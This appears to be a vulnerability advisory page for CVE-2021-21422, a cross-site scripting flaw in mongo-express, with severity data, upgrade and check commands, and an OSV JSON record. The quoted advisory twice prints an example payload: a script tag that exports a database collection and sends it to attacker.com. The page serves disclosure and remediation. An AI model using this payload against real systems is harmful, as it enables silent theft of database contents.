CVE-2021-21422: Mongo express Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-7p8h-86p5-wv3p
CVSS 8.1
CWE-79
Published
Advisory Summary

CVE-2021-21422 is a HIGH (CVSS 8.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Mongo express libraries in the npm ecosystem. The issue involves cross-site scripting. Remediation is available by upgrading affected packages to version 1.0.0-alpha.4.

CVE-2021-21422 at a Glance

CVE Identifier CVE-2021-21422
GHSA Identifier GHSA-7p8h-86p5-wv3p
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Mongo express
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2021-21422

To remediate this vulnerability, upgrade all affected Mongo express dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mongo-express fixed: 1.0.0-alpha.4
npm install mongo-express@1.0.0-alpha.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mongo-express

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2021-21422, inspect your project dependencies using npm:

npm ls mongo-express

Analyze the terminal output to locate any version of Mongo express in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-alpha.4), your application is affected.

Note: The npm ls mongo-express command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Mongo express, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Two kinds of XSS were found: 1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. ### Impact As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload: ```JSON {"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" } ``` This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible. ### Patches Upgrade to `v1.0.0-alpha.4` ### For more information If you have any questions or comments about this advisory: * Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new) * Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)

CVE-2021-21422 Affected Mongo express Versions

1 component(s)
Fixed Versions:
1.0.0-alpha.4
Product / Package Ecosystem Affected Versions Fixed Version
mongo-express
npm
< 1.0.0-alpha.4
1.0.0-alpha.4

References

Frequently Asked Questions

What is CVE-2021-21422?
CVE-2021-21422 is a security vulnerability in Mongo express involving Cross-site scripting under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Mongo express versions are affected?
Affected versions include releases prior to 1.0.0-alpha.4 across affected packages: mongo-express.
What version fixes CVE-2021-21422?
Upgrading to 1.0.0-alpha.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mongo-express affected?
Yes, mongo-express is affected in releases prior to 1.0.0-alpha.4. Upgrade your dependency to 1.0.0-alpha.4 or later.
What is the CVSS score of CVE-2021-21422?
CVE-2021-21422 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2021-21422?
CVE-2021-21422 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2021-21422?
Run the dependency tree command: 'npm ls mongo-express'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7p8h-86p5-wv3p",
  "modified" : "2021-06-22T15:44:45Z",
  "published" : "2021-06-28T17:18:04Z",
  "aliases" : [ "CVE-2021-21422" ],
  "summary" : "Cross-site scripting",
  "details" : "Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mongo-express"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0-alpha.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.0-alpha.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-21422"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mongo-express/mongo-express/issues/577"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-06-21T17:53:12Z",
    "nvd_published_at" : "2021-06-21T19:15:00Z"
  }
}